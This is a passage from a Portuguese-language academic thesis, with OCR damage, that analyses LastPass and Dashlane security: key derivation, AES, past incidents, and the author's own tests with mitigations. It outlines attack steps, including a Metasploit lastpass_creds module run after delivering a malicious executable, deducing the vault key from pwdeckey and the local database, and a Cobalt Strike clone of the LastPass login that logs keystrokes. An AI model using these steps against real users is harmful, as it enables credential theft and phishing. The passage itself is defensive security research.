recursos) e encontra-se armazenado quer ali, quer no servidor (Haugum & Rygh 2015; LogMeln
2016). Isto garante que, até mesmo as pessoas que trabalhem para o projeto em causa, ndo
consigam aceder a informacao que é confidencial. Para que o cofre seja aberto por um cliente,
€ necessdria uma senha mestra, também conhecida por master key, definida quando este se
regista (LogMeln 2016). Esta é empregue ainda na formulagdo de trés cddigos de controlo
interno (Figura 4), que serao explicados de seguida (Siegrist 2015).

Aplicacdo Servidor

Cliente LastPass
Utilizador ! !
) Insere palavra-chave 1 1

mestra (palavra_chave _mestra)

>

Nota:
chave = PBKDF2(HMAC-SHAZ256, o

palavra_chave_mestra, enderego_eletronico,

5000) E HMAC-SHA256 = SHA256(chave |

SHAZ256(chave | elemento))

! chave_autenticagdo = PBKDF2(HMAC-SHA256,
chave, palavra_chave_mestra, 1) H

Envia chave intermédia (chave_autenticacdo)

' chave_servidor = PBKDF2(HMAC-SHA256,
, chave_autenticaggo, salt, 100000)

Figura 4 — Diagrama de sequéncia para gerag¢do da chave de encriptagdo/desencriptacdo usada pelo
LastPass (Siegrist 2015)

Como é percetivel, sdo gerados trés valores Unicos: de encriptacdo local (chave), autenticacdo
(chave_autenticagdo) e para o servidor (chave_servidor). O primeiro codifica/descodifica os
recursos locais, o segundo trata-se de uma combinac¢do intermédia, e finalmente o ultimo, é
usado para o inicio de sessdo de um utilizador (Siegrist 2015). Para que todos sejam obtidos, é
utilizada uma fun¢do PBKDF2. Esta aplica um algoritmo para encripta¢do dos dados, varias vezes
(Abbas et al. 2014; Chen et al. 2015; Visconti et al. 2015). Quanto ao LastPass, optou-se por
recorrer a técnica HMAC-SHA256 (Hash-Based Message Authentication Code, a partir do Secure
Hash Algorithm). Este gera um hash de 256 bits formado (para a primeira fase) pela palavra-
chave mestre e correspondente endereco eletrdnico (ou valor anterior, para rondas que ndo a
primeira), para cada vez que o PBKDF2 corre (Siegrist 2015; Smieszek & Furtak 2014). Tal
mecanismo é reforcado por uma senha, que torna o segredo final (MAC, ou Message
Authentication Code) integro e auténtico (Beringer, Ye & Appel 2015; Ravilla & Putta 2015). Por
omissdo, a organizacdo sugere, para esta etapa, a execugdo de 5000 iteracdes. Porém este
numero pode ser editado pelo utilizador, caso desejado. Ha ainda que se salientar que, apesar
do gestor permitir até um mdaximo de 200000 rondas, ndo é aconselhada a utilizagdo de mais
de 10000 (LogMeln 2016; Siegrist 2015).

No segundo passo, o algoritmo so é executado uma Unica vez (ndo é possivel modificar) e o
endereco de correio eletrdnico é alterado pelo resultado obtido previamente. Este valor é
enviado posteriormente para o servidor (Siegrist 2015).
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Finalmente, é conseguido um ultimo cédigo que vai ser usado como termo de comparagao, para
guando um dado utilizador se quiser autenticar. Neste momento, recorre-se a um nimero
diferente de iteracGes (100000) e os pardametros utilizados no algoritmo sdo a senha precedente
e um valor de 256 bits (Siegrist 2015; Smieszek & Furtak 2014).

Tendo a descrigao feita em mente, conclui-se que as vulnerabilidades se limitam em descobrir
o segredo mestre do utilizador, o que faz com que todo o risco possivel dependa unicamente
do seu detentor. Caso alguém tenha acesso aos outros recursos, de pouco lhe valer3, visto que
teria de fazer um grande numero de tentativas (por exemplo, a partir de ataques de forga bruta)
até gerar os valores de acesso a conta de um utilizador.

A chave que foi produzida primeiro, tal como ja mencionado, serad usada para a encriptacao das
credenciais (LogMeln 2016). Aqui é empregue a cifra AES (Advanced Encription Standard,
também conhecida como Rijndael), que transforma as informacgdes fornecidas num formato
encriptado (Mahajan & Sachdeva 2013; Trang & Loi 2012). A seguir vai ser demonstrado como
é que é processada esta codifica¢do (Figura 5).

AES

Submédulo
Inicial

|

Submédulos
Intermédios

00
OO0
Ooo™
00
[]

Submédulo
Final

cifra

Figura 5 — Diagrama de blocos que descreve AES (Mahajan & Sachdeva 2013; Trang & Loi 2012)

Como se comprova na imagem, os dados (partidos em blocos de 128 bits) e a senha (para o
LastPass, de 256 bits) sofrem um conjunto de transformagdes até ser conseguido um resultado
final. As modificagdes sdo aplicadas numa espécie de “caixa” (ao que na figura se deu o nome
de AES). Aqui, os elementos anteriormente apresentados, sdo submetidos a uma operacao
XOR (submddulo inicial), seguida de um determinado nimero de passos que mudam a forma
dos dados (etapas intermédias e final). A quantidade apontada é dada pelo comprimento da
chave, ou seja, como neste caso é de 256 bits, sdo aplicadas 14 rondas. Esta uUltima quantidade,
segundo os autores da cifra (Daemen & Rijmen 2002), é dada pelo nimero de iteragGes para
uma seguranca base (6), por uma margem adicional (4), e mais quatro iteragdes (uma por cada
32 bits da chave).
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Em cada ronda (excetuando na ultima), sao feitas quatro altera¢des (duas substituicGes, uma
transposicdo e XOR), onde a primeira permuta consiste na troca de blocos de dados
(recorrendo a uma tabela), enquanto a segunda baseia-se numa férmula matematica. O
submddulo final difere dos restantes por ndo executar a segunda comutacdo (Mahajan &
Sachdeva 2013; Trang & Loi 2012).

A cifra discutida opera através de diversos modos. Os principais sdo denominados de ECB
(Electronic Code Book) e CBC (Cipher Block Chaining). O primeiro é mais usado, mas o outro ndo
é descartdvel. A diferenca entre estes prende-se com os elementos para iniciar a encriptacao
(o ECB precisa de uma chave e dados, e o restante, de aquilo mais um vetor inicial). Para além
disso, no CBC a cifra de uma dada iteracdo é aproveitada para a proxima, enquanto o outro ndo
se processa dessa maneira. Estd comprovado que o vetor empregue em CBC cria um resultado
mais aleatdrio, o que a torna mais desejavel. Todavia, se a mensagem for de tamanho pequeno,
consegue-se uma boa solucdo usando a ECB (Daemen & Rijmen 2002; Kahate 2013; Klinc et al.
2012).

Apds a explicacdo dada, é possivel perceber que o programa tem uma estrutura rigorosa no que
toca a seguranca. Porém, ainda assim, é também dificil assegurar que todas as entidades
envolvidas no processo de salvaguarda dos dados se mantenham imunes a vulnerabilidades.

5.1.2 Vulnerabilidades

Nos ultimos tempos, a empresa tem despertado o interesse de diversos investigadores e
técnicos na area de informatica, bem como potenciais atacantes de sistemas. Esta curiosidade
tem vindo a criar certos problemas aquela, tal como se sucedeu nos anos de 2011, 2012, 2013,
2015 e, até mesmo em 2016 (LogMeln 2016). De seguida serd exposta uma tabela (Tabela 4)
que descreve, de forma sintetizada, que eventos é que ocorreram.

Tabela 4 — Fugas de informacio e descoberta de fragilidades LastPass (LogMeln 2016)

Ano Descrigdo do evento

Descoberta de enderegos eletrdonicos e passwords mestras de alguns utilizadores.
2011 Tornou-se publico um ataque do tipo XSS (Cross-Site Scripting), por parte do
investigador Mike Cardwell.

2012 Foram obtidas cerca de 117 milhdes de credenciais do LinkedIn4.

Pontos fracos relacionados com marcadores e senhas descartaveis, sdo evidenciados

2013 L
por Zhiwei Li e os seus colegas.

Além disso, dois investigadores espanhais (Martin Vigo e Alberto Garcia) descobrem

2015 ;o :
possiveis problemas que comprometiam a empresa.

Sean Cassidy, diretor técnico da Praesidio, apresenta um ataque de phishing

201
016 (Lostpass?®®) na convengao ShmooCon 2016.

14 Fonte: https://www.linkedin.com/ (maio 2016)
15 Fonte: https://github.com/cxxr/lostpass (maio 2016)
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Tal como se pode constatar, existiram iniUmeras ocorréncias que expuseram o negdcio a um
grande risco. Porém, muitas destas foram imediatamente resolvidas. Por exemplo, o segundo
problema de 2011 foi solucionado em cerca de 1 hora e meia (LogMeln 2016). Tendo ainda em
conta a tabela anterior, entende-se por XSS um ataque onde alguém injeta instru¢cdes numa
aplicacdo web de maneira a conseguir obter informacdo delicada, evitando as regras de
salvaguarda implementadas (Guo, Jin & Zhang 2015; Gupta, Govil & Singh 2015; Stasinopoulos,
Ntantogian & Xenakis 2014).

No entanto, algumas ameacas continuam pendentes e devem ser admitidas por parte dos
utilizadores da ferramenta. Para se compreender e resolver tais questdes vao ser expostos
alguns casos. Idealmente, pretendia-se que a maioria das vulnerabilidades fosse visivel de um
ambiente remoto. Contudo, devido a renovacgdo constante dos mecanismos de seguranca e da
rapida resposta a fraquezas por parte da organizacdo, ndo foi possivel admitir qualquer
abordagem feita a partir do exterior. Assim, assume-se que na maioria das situacbes, o
individuo malicioso tem acesso ao sistema a prejudicar.

5.1.2.1 Explora¢do da Base de Dados do Navegador

Como ja foi referido, o LastPass oferece apoio a uma grande variedade de plataformas. Entre
elas, estdo os navegadores mais conhecidos (Google Chrome, Mozilla Firefox®, Opera'’ e
Safari'®), que adotam um plugin para efetuar as operac¢des facultadas pela empresa (LogMeln
2016). Ao usar a extensdo e ativando a opcdo de gravacdo da senha mestra, é gerado,
automaticamente, um ficheiro ou uma base de dados (dependendo do browser utilizado), que
armazena alguma da informagdo privada em formato encriptado. Nestes, encontram-se
segredos, opgdes e, até mesmo o préprio cofre que, apds serem esmiugados, conduziram a
descoberta de fragilidades (como foi documentado no evento de 2015 da Tabela 4).

Os autores de tal conquista implementaram um maédulo de utilizacdo livre, que revela a palavra-
chave mestra de um utilizador, e que se designa de lastpass_creds (Vigo 2015). Este é
atualmente integrado na versdo mais recente do Metasploit'® (programa que permite testar
vulnerabilidades). Assim, torna-se fundamental instalar o mecanismo anterior e a extensdo
LastPass (num qualquer navegador), para que o ataque possa ser executado. Para a experiéncia
feita, foi utilizado o Google Chrome, uma vez que se trata de um navegador bastante divulgado
e que é largamente utilizado (Roy-Chowdhury 2016). Para se conseguir obter os resultados
pretendidos é vital respeitar um conjunto de passos. Estes sdo explicados resumidamente em
seguida e detalhadamente no anexo A.1.

A primeira etapa passa pela inicializacdo do Metasploit (pela parte invasora), para que o
atacante consiga estabelecer uma ligagao com a possivel vitima. Para tal, o intruso devera

16 Fonte: https://www.mozilla.org/pt-PT/ (maio 2016)
7 Fonte: https://www.opera.com/pt (maio 2016)

18 Fonte: http://www.apple.com/safari/ (maio 2016)
1 Fonte: https://www.metasploit.com/ (maio 2016)
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formular um ficheiro executdvel malicioso e envid-lo para o outro individuo. Quando este o
executar, serd criada uma sessdao entre os dois intervenientes. Neste momento, o invasor
poderd iniciar o médulo lastpass_creds que, por sua vez, ird aceder ao ficheiro ou base de dados
do navegador da vitima, para conseguir determinar as credenciais pretendidas. Para um
utilizador do navegador Google Chrome, por exemplo, o recurso chama-se
LastPassSavedLogins2, e estd localizado dentro do diretério do utilizador, na pasta de nome
chrome-extension_hdokiejnpimakedhajhdicegeplioahd_0. Na Figura 6 é exposto um resultado
semelhante ao que é esperado no final do processo.

[*] Searching for LastPass databases
[*] Found 1 users
*] Extracting credentials from 1 LastPass databases

Account Browser LastPass Username LastPass Password

[*] Post module execution completed

Figura 6 — Captura de ecrd que obtida pela execucio de lastpass_creds

A imagem é bastante esclarecedora. Durante a execucao do cédigo, sdo emitidas mensagens
de aviso, que apresentam o que estd a ser feito, no momento. Apds algum tempo, surgirdo as
contas encontradas, com detalhes onde sdo empregues.

Tendo o que foi discutido em mente, sdo admitidas multiplas vantagens, ao se guardar a
informagdo localmente. Contudo, ndo é aconselhado que estes sejam visiveis para qualquer
individuo. Para que tal ndo aconteca, podera ser criado um tipo de formato préprio que sé pode
ser interpretado pela aplicacdo administradora (por exemplo).

5.1.2.2 Recuperagéo de Acesso

Também foi encontrado pelos cientistas anteriormente mencionados um problema que se
prendia com a recuperagdo das credenciais (Vigo 2015). Para estes cenarios, o LastPass fornece
dois tipos de alternativas. Uma é despoletada pela indicagcdo do endereco eletrdnico, que sera
usado para receber a dica para o acesso a conta, estabelecida quando do registo. Isto pode ndo
ser muito util para situacdes onde o cliente ndo tenha definido qualquer ajuda, ou quando esta
nao auxilia de todo a recordacdo da password principal. Assim, a outra maneira de recuperagao
permite receber uma mensagem eletronica com um caminho que concede a entrada direta no
cofre, sem que qualquer outra validag3o tenha sido feita. E de salientar que esta preferéncia s6
é praticavel caso o utilizador tenha a opg¢do de guardar a palavra-chave mestra ativa (LogMeln
2016). No entanto, se isto for verdade, a conta torna-se muito mais vulneravel.

Visto que o processo pode trazer inconvenientes e é muito simples de ser explorado (até
mesmo por alguém que ndo tenha muito conhecimento na drea da computacdo), vé-se
essencial a substituicdo (ou até mesmo o cancelamento) deste por um outro. Sugere-se,
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portanto, a implementagdo de um parametro adicional (por exemplo, senha de recuperacao),
definido quando ocorre a subscricdao no site.

5.1.2.3 Deducdo da Chave do Cofre

Foi descoberto que a senha usada para descodificar o cofre também é obtida recorrendo a duas
variaveis (pwdeckey e key), que, por sua vez, sdo levianamente adquiridas (Vigo 2015). Na
ilustracdo disposta em baixo (Figura 7) é evidente como se alcanca o segredo pretendido.

T

Aceder a pagina
login_check.php do
site LastPass

1

Aquisicéo do
elemento pwdeckey

e

Recolha do campo
key a partir do
ficheiro/base de
dados

Célculo de
chave_desencriptacéo:
SHA256(pwdeckey)

Deducéo da chave do
cofre, recorrendo a AES,
chave_desencriptacdo e

key

Figura 7 — Diagrama de atividade para a dedugdo da chave do cofre (Vigo 2015)

Primeiro, é fundamental aceder a pagina login_check.php. Esta retorna um documento no
formato XML (Extensible Markup Language), com o elemento pwdeckey, que é utilizado em
conjunto com o algoritmo SHA-256 (Secure Hash Algorithm com chave de 256 bits) para se
atingir a maneira para se decifrar o cofre. Depois, é necessario recolher o cédigo encriptado do
repositorio, que se encontra no ficheiro/base de dados do LastPass (para o Google Chrome,
LastPassSavedLogins2). Finalmente, relaciona-se o que foi previamente colecionado (por via da
cifra AES), e consegue-se o resultado final.

Uma resolucdo para esta ameaca seria destruir ou mudar toda a informacgao que estd dispersa
localmente, substituindo-a por um qualquer fator que depreenda o recurso para a encriptagao.

5.1.2.4 Bloqueio da Rede

Durante o periodo de andlise a tecnologia foi verificado que, dado um certo nimero de exames,
parou de se poder aceder ao website da empresa. Suspeita-se que o bloqueio foi devido aos
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testes intensivos executados ao ambiente em causa. No entanto, apds ter-se percebido que a
comunicacdo se encontrava cortada para a rede de uso habitual, verificou-se que era possivel
0 acesso a conta a partir de um outro local. Isto pode originar muitas adversidades, pelo que se
sugere que seja usado um mecanismo que reconheca cada sistema por um identificador Unico
e nao pelo seu endereco.

5.1.2.5 Descoberta dos Dominios

Existem inUmeros programas, no Kali?®, que possibilitam a descoberta mecanizada de
vulnerabilidades (por exemplo, OWASP ZAP%). Este foi utilizado durante o estudo efetuado e
permitiu destacar uma falha. A ferramenta indicou um caminho que poderia ser considerado
indesejado (robots.txt). Ao se aceder a este, surge um outro que leva a um ficheiro XML
(sitemap.xml). Tal recurso é utilizado para mapear todos os dominios controlados pela LastPass.
Esta informacdo pode ser aproveitada de modo a serem feitos testes de penetra¢do a cada
pagina. Assim, é possivel evidenciar vulnerabilidades mais facilmente. Por exemplo, torna-se
mais simples um ataque de injec¢do, visto que se sabe as queries que sdo usadas.

Atendendo ao que foi explicado previamente, ndo é demais avisar que este problema existe.
Deve ser tido em conta que este local pode ser acedido, pelo que deve ser omitido para que
ndo se obviem ruturas no funcionamento.

5.1.2.6  Phishing

Sean Cassidy, diretor de uma entidade de cibersegurancga, reportou um ataque de phishing
(LostPass). Usando os ficheiros disponibilizados pelo autor, um individuo era capaz de
direcionar outro para um sitio inseguro. Aqui, este era notificado que a sua sessdo LastPass
tinha terminado e, portanto, teria de voltar a fazé-lo. Para isso, o utilizador legitimo carregava
num botdo, que o levava para uma pagina com um formulario de autenticagdo. Assim, o invasor
era capaz de capturar as credenciais da vitima (Cassidy 2016). Este trabalho foi devidamente
notificado a empresa, e esta ja preveniu os seus clientes para terem atengdo a este tipo de
ameacas (LogMeln 2016). Porém, o seu funcionamento ainda ndo é imune a vulnerabilidades
deste género. Como prova de conceito, foi feita uma réplica do login, a partir de uma
ferramenta chamada Cobalt Strike??, disponivel para Linux?3. Foi usada uma versdo de avaliacdo
desta para a experimentacao, pois pareceu um utensilio eficaz e simples para a tarefa.

Para se praticar o ataque mencionado, é essencial proceder a um conjunto de etapas que
envolvem a configuracdo e a execugdo do programa em questdo. Estas vdo ser expostas

20 Fonte: https://www.kali.org/ (maio 2016)

21 Fonte: https://www.owasp.org/index.php/OWASP Zed Attack Proxy Project (maio 2016)
22 Fonte: https://www.cobaltstrike.com/ (maio 2016)

2 Fonte: https://www.linuxfoundation.org/projects/Linux (outubro 2016)
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sinteticamente em seguida, contudo pode ser consultada uma descricdo mais detalhada no
anexo A.2.

O processo comeca pela iniciacdo do servidor Cobalt Strike (teamserver). Assim, abre-se um
terminal, localiza-se a pasta onde este se encontra e corre-se o ficheiro pretendido.
Posteriormente, lanca-se o programa cliente (cobaltstrike) numa outra consola. Este deve ser
configurado consoante o servidor (caso contrario ndo é criada uma ligagdo entre os dois). Apds
este Ultimo passo ser completado, surgira uma janela, onde o utilizador podera escolher o tipo
de intrusdo a ser efetuada. Entre o catdlogo disponivel, encontra-se a possibilidade de
duplicacdo de aplicagGes web, que resulta na geragcdo de um enderego contendo uma réplica
de um dado website. Desta forma, um atacante podera aproveitar esta técnica para clonar um
site e enviar um endereco malicioso para uma determinada vitima.

Para além do que foi relatado, o Cobalt Strike disponibiliza a monitorizacdo dos acessos e da
escrita da pagina gerada. Na imagem seguinte (Figura 8) é apresentado o modo como se
processa tal atividade.

Applications « Places v [ aggressor-Aggressorike (Tr.. ¥ Sat 19:24

Cobalt Strike (Trial) (- o]
Cobalt Strike View Attacks Reporting Help
DR 0 EH=¢ aBELPLU EEH /a Bg

external internal = user computer note pid last

EventLog X | Weblog X

22:41 visit from: 10.0,2,15

Request: GET /jquery/jquery.min.js

page Clone of: https://lastp n/?ac=1&lpnorefresh=1. Logs keys
Mozilla/5.0 (X11; Linux x86_64;: 3.0) Gecko /20100101 Firefox/43.0 Iceweasel/43.0.4
.15 [undefined] Keys https://lastpass.com/?ac=1&lpnorefre

15 [undefined] Keys https: stpass.com/?ac=1&lpnor

15 [undefined] Keys https: stpass.com/?ac=1&1pnor:

15 [undefined] Keys https://lastpass.com/?ac=1&lpnor:

15 [undefined] Keys https://lastpass.com/7ac=1&Lpnor

15 [undefined] Keys https: < 55.com/?ac=1&lpnor:

15 [undefined] Keys htips: 5 com/?ac=1&lpnor

15 [undefined] Keys https://lastpass.com/7ac=1&lpnor:

15 [undefined] Keys https://lastpass.com/?ac=1&lpnorefre

0.2

0.2,
0.2,
0,2,
0.2,
0.2,
0,2,
.0.2.
0,2,

Figura 8 — Monitorizagdo Cobalt Strike

Como se averigua, o que é escrito torna-se visivel. No caso ilustrado, esta exposta a
administragdo do inicio de sessdo LastPass. Aqui, a pessoa enganada estd a digitar o seu
endereco eletrdnico, de forma a autenticar-se.

Para combater este tipo de problema é aconselhado que um utilizador tenha sempre atencgao
guem é o autor das mensagens recebidas e em que site é que se encontra. Tomando cuidado a
estes pormenores, a sua seguranga aumenta significativamente.
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5.1.2.7 Dicas para a VersGo Mdével

Para a edicdo mobile, ndo se encontraram vulnerabilidades criticas, e por esta razao, sao

apresentadas algumas sugestdes que, apesar de muitas delas estarem asseguradas por

omissdo, nunca é demais relembrar. Assim, é proposto:

5.1.3

Evitar a visualizagdo das palavras-chave no ecrd — E preciso ter sempre em atenc¢3o
que alguém pode recolher os dados emitidos no visor;

Ativar a opg¢ao de bloqueio automatico — Esta deve estar habilitada, de maneira a que,
apos algum tempo, o programa fique bloqueado;

Desativar capturas de ecra — Proibindo tal preferéncia, evita-se que possa haver
alguma amostra do que é emitido na tela do dispositivo;

Considerar limpar cookies, fechar separadores e limpar histérico do browser aquando
a desconexdo — Todos estes modos devem estar ativos, de forma a que, ao se terminar
a sessdo, ndo haja rasto dos websites que o utilizador visitou;

Manter localizagao dos ficheiros — Ndo se deve alterar o caminho para os ficheiros
gerados automaticamente. Assim, se o diretdrio estiver alterado, é notério que alguém
acedeu ao dispositivo;

Navegador por omissdo — O recurso oferece um browser predefinido, que implementa
regras rigorosas de seguranca, o que favorece a sua utilizagdo. Assim, é aconselhado
que este seja aplicado, em vez de qualquer outro;

Método de escrita — Para além do navegador, também é sugerido um modo mais
seguro de escrita (teclado prdéprio). O seu uso é altamente recomendado, uma vez que
ja existiram vulnerabilidades no teclado (Clipcaster?*);

Codigo de seguranga — Na versdo movel, para além da introducdo das habituais
credenciais é possivel introduzir-se, adicionalmente, um cdédigo de seguranga, para
quando o dispositivo fica em descanso.

Conclusoes da Analise ao LastPass

O LastPass é uma ferramenta bastante completa, uma vez que disponibiliza varias

funcionalidades aos seus utilizadores. Em termos de seguranga, a aplicagdo estabelece alguns

fatores de estabilidade, como é o caso de AES. Porém, tal como pdde ser constatado, possui

situagdes a serem corrigidas.

% Fonte: https://play.google.com/store/apps/details?id=com.actisec.clipcaster&hl=pt_PT (maio 2016)
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Pelo estudo feito, conclui-se que é muito dificil conseguir aproveitar um problema, de forma a
aplicar uma investida a partir do exterior. Assim, uma grande parte do risco esta focada na parte
cliente, o que leva um potencial atacante a ter obrigatoriamente de obter o acesso a palavra-
chave principal ou ao sistema (onde o programa esta instalado). Por outro lado, é entendido
gue a maioria dos defeitos encontrados é inerente a versdo baseada na web, sendo que nao
existem falhas evidentes na edicdo mével (apenas se pode aprimorar a utilizagcdo). Porém ha
qgue ter em atencdo se certas opgdes (cédigo de seguranca, bloqueio automatico, etc.) estdo
ativas, para que o utilizador nao corra nenhum risco.

5.2 Dashlane

O Dashlane é um mecanismo bastante reconhecido. Este é intitulado como sendo o melhor
gestor existente (pela empresa que o desenvolveu), e possui particularidades atrativas, como
por exemplo, alteragcdo automdtica de senhas, notificacdo de violagdes dos sites utilizados, a
opcdo de contacto de emergéncia (alguém ganha acesso a uma dada conta em caso de morte
ou outro problema critico), e a possibilidade de partilha personalizada de credenciais (usando
a versdo paga). Todas estas caracteristicas estdo presentes na sua quarta edicdo e tentam
diferencia-lo dos demais.

Por outro lado, constata-se que a ferramenta oferece apoio a uma grande variedade de
plataformas. O conjunto formado por estas cobre todos os tipos de abordagens (locais, méveis
ou baseadas na web), o que possibilita a sua integracdo em dispositivos distintos (Dashlane
2012; Dashlane 2016a; Rubenking 2016).

Apesar do Dashlane atingir o objetivo do LastPass, ndo tem o mesmo esquema de salvaguarda.
Assim, torna-se essencial explicar o processo usado para assegurar que a informagao privada
nao é comprometida.

5.2.1 Modelo de Funcionamento

Normalmente, a arquitetura que se segue para o estabelecimento de um gestor de palavras-
chave é a adotada pelo LastPass. Existe um cliente que fornece um segredo principal, que
posteriormente vai ser aplicado na autentica¢do e (des)codificacdo (LogMeln 2016). Contudo,
esta pode nao ser a abordagem mais adequada, visto que existe a possibilidade de ser utilizada
uma técnica de for¢a bruta (como demonstrado previamente), ou até mesmo baseada numa
rainbow table. Este recurso é empregue para se conseguir texto claro, a partir da comparacdo
de um hash com um conjunto de valores pré-computados. Assim, adquire-se um compromisso
entre tempo de execugdao e memaria gasta para se atingir o que é pretendido (Hadi, Jahromi &
Rezaiy 2014; Lu, Zhu & Gan 2015; Tabata et al. 2015; Yu & Huang 2015). Como forma de
combater os problemas descritos, a equipa Dashlane optou por uma solucdo diferente, onde
sdo empregues valores divergentes para autenticagdo e encriptacdo.
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A primeira pratica apoia-se no cédigo do dispositivo, que representa a maquina de acesso a
aplicacdo. Este é formado por duas partes (descricdo sobre um elemento de software ou
hardware, e 38 carateres gerados pela funcdo OpenSSL RAND_bytes), e é armazenado local e
remotamente. Em seguida, serdo expostos esquemas que explicam o que foi relatado (Figura 9
e Figura 10).

Aplicagao i
Aplicacao i Servidor
plicag Servidor Cliente

Cliente i

Requisita autenticagdo

»
>
Envia email U
[

| ‘ | Fornece OTP e chave do dispositivo,

Envia chave de dispositivo

>
alt ) ‘ ‘
[aceite] . alt
Retorna mensagem de aprovagdo
[aceite]
,,,,,,, S () I <Rel0rnamensagemdeaprova;ﬁw
[recusada]
[recusada
Retorna mensagem de reprovacéo Retorna mensagem de reprovagio
T T
I l L] L]

Figura 9 — Diagrama de sequéncia para primeira  Figura 10 — Diagrama de sequéncia para
autenticacdo no Dashlane (Dashlane 2016b) autenticagBes apods o registo no Dashlane
(Dashlane 2016b)

Como se averigua, existem duas situa¢des possiveis. Quando um utilizador se regista, a senha
é disponibilizada automaticamente. A partir deste momento, qualquer sistema distinto vai ter
de ser validado. Para isso, é enviado via endereco eletrénico (ou contacto telefénico) uma OTP,
gue deve ser interpretada como garantia que um individuo é legitimo (Dashlane 2016b). Ainda
para a autenticacdo, é sugerida a utilizacdo de multiplos fatores, apontando o Google
Authenticator®® como uma solucdo vidvel. Tais mecanismos reforcam a seguranca pela
administracdo de senhas (Bertolucci 2014; Dashlane 2016b).

Ja para a encriptacdo é usada a cifra AES-256 (modo CBC), que recorre a um vetor inicial de 32
bytes (formulados pela biblioteca OpenSSL) e a um cddigo. Este é obtido pela PBKDF2 (que é
executada mais de 10000 vezes), onde se mistura (HMAC-SHA1) um valor aleatdrio (produzido
por RAND_bytes), com uma representacdo de 160 bits da chave mestra. E de salientar que o
resultado final é armazenado num ficheiro local, para uso futuro (Bertolucci 2014; Dashlane
2012; Dashlane 2016b; Lazaridis 2014; Munson 2016).

Para completar a descricdo do modelo de funcionamento do gestor em causa, é apresentado
um esquema que pretende resumir tudo o que foi exposto, acrescentando ainda o tipo de
ligacdo feita entre aplicacdo e servidores (Figura 11).

25 Fonte: https://support.google.com/accounts/answer/1066447?hl=pt-BR (maio 2016)

55



Analise aos Gestores Anteriores
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Figura 11 — Diagrama de instalagdo Dashlane (Dashlane 2016b)

Como se constata, a comunicagdo entre o recurso local e os sistemas remotos é estabelecida
usando HTTPS (recorrendo a SSL/TLS). E empregue o certificado Symantec Class 3 EV SSL CA -
G3% (lado do servidor) e a biblioteca OpenSSL (parte do cliente) para que tal seja implementado
(Dashlane 2012; Dashlane 2016b).

Tendo em conta todos os detalhes discutidos, afirma-se que o Dashlane tem uma forma
particular de proceder a salvaguarda dos dados dos utilizadores, tornando-se assim aliciante
para os mais curiosos. Dentro deste ultimo grupo, estdo inseridos possiveis individuos
maliciosos, que se aproveitam da informacgdo e aplicam um determinado nimero de ataques.
Para combater este tipo de situagdes, foi feito um estudo da tecnologia em questdo. Esta
investigacdo envolveu: inicialmente, entender o que ja foi feito ou existe, que possa
comprometer a seguranga do programa; e de seguida, efetuar analises ao software, de maneira
a encontrar eventuais ameagas.

5.2.2 Vulnerabilidades

Pelo documento disponibilizado pela empresa em marco de 2016 (Dashlane 2016b) e pelo
préprio site (Dashlane 2012), conclui-se que alguns dos problemas associados aos gestores mais
comuns, ndo afetam o seu produto. Explorando o primeiro recurso, constata-se que, apesar de
a ferramenta ser suscetivel a keyloggers (dispositivos ou cddigo que permite capturar o que
esta a ser digitado no teclado), esta protegida contra invasdes do tipo clickjacking e phishing
(Dashlane 2016b). A primeira armadilha é estabelecida ao posicionar uma iframe (componente
HTML, ou Hypertext Markup Language), numa localizagdo onde seja previsivel que um individuo
carregue (hiperligacdo, por exemplo). Ao efetuar esta acdo, aquele sera reencaminhado para
um sitio malicioso, manipulado por alguém que deseja controlar a sua atividade (Kavitha,

26 Fonte: https://knowledge.symantec.com/support/ssl-certificates-
support/index?page=content&id=S026896&pmv=print&actp=PRINT (junho 2016)
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Chandrasekaran & Rani 2016; Rao et al. 2016). Para que isso ndo aconteca, a forma como eram
implementadas as interacbes entre a aplicacdo e os servidores, foi planeada. A partir dos
mecanismos de seguranca fornecidos pela linguagem C++, é possivel estabilizar o software, de
maneira a torna-lo imune (ou pelo menos a dificultar) a vulnerabilidades clickjacking.

Em relacao aos problemas de phishing, sdo resolvidos por uma das funcionalidades basicas que
é comum a maioria dos atuais gestores (automatiza¢do dos inicios de sessdo). Recorrendo a
esta opgao, ndo é necessdrio escrever o enderego no navegador, nem correr o risco de se aceder
a um website perigoso, que foi enviado por uma outra pessoa (Dashlane 2016b). Isto ndo quer
dizer que alguém mais descuidado saia ileso de tal ataque.

Também é comprovado pelo site Dashlane (Dashlane 2012) que, até as adversidades
apresentadas no trabalho de Zhiwei Li e os seus colegas (Li et al. 2014), envolvendo marcadores,
a interface grafica, autenticagOes e autorizagdes, sdo tratadas.

Para além das fontes enunciadas, surgiram muito poucos dados sobre o funcionamento do
programa. E estes demonstravam o mesmo que foi exposto até ao momento. Assim, ndo tendo
estes mais nada a acrescentar, passar-se-a a explicar todas as andlises feitas, pelo autor. Estas
seguiram uma certa ordem. Comecou-se por testar se, aquilo que tinha sido descoberto para o
LastPass, podia ser executado na aplicacdo em causa; sendo consecutivamente aplicados novos
exames as trés partes essenciais daquela (cliente, servidor e canal de comunicagao).

Nas pesquisas efetuadas, foram usadas ferramentas web e locais (por exemplo, Qualys SSL
Labs?” e Nikto®, respetivamente), tal que as segundas se encontram instaladas num ambiente
virtual (Kali).

5.2.2.1 Ficheiros Locais

Tendo em conta o que foi dito na sec¢do 5.2.1 e a sua importancia, inicialmente tentou-se
perceber aonde podiam ser localizados os ficheiros guardados localmente, e o que estes
continham exatamente. Conseguiu-se comprovar que, tal como se passa com o LastPass, os
recursos sdo armazenados numa dada maquina, e localizam-se (por omissdo) na pasta AppData
(dentro da diretoria pessoal do utilizador). Para além disto, tornou-se evidente que estavam
encriptados pela cifra AES. Teoricamente é possivel quebrar esta técnica, sabendo como é
gerada a chave de encriptacao, bem como o vetor usado no processo. Contudo, a producado de
tais elementos envolve a formulagdo de valores aleatérios, o que faz com que se torne uma
tarefa demasiado complexa. Ainda assim, tais valores sao simulados a partir de técnicas de forga
bruta ou rainbow tables. Todavia, ha que ter em conta que um simples computador ndo
conseguiria fazé-lo num tempo compreensivel (levando anos para se quebrar tal seguranca).

27 Fonte: https://www.ssllabs.com/ssltest/ (junho 2016)
28 Fonte: https://cirt.net/nikto2 (junho 2016)
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Finalmente, hd que destacar que, apesar da informacdo local se encontrar assegurada
atualmente, pode vir a existir alguma metodologia futura que consiga adquirir os dados
privados num intervalo de tempo pequeno. Atendendo a esta ameaca, a equipa deve estar
atenta a eventuais novas tecnologias que aparecam no mercado.

5.2.2.2 Pesquisa de Dominios

Outro problema detetado foi a obtenc¢do do conjunto de caminhos que eram controlados pela
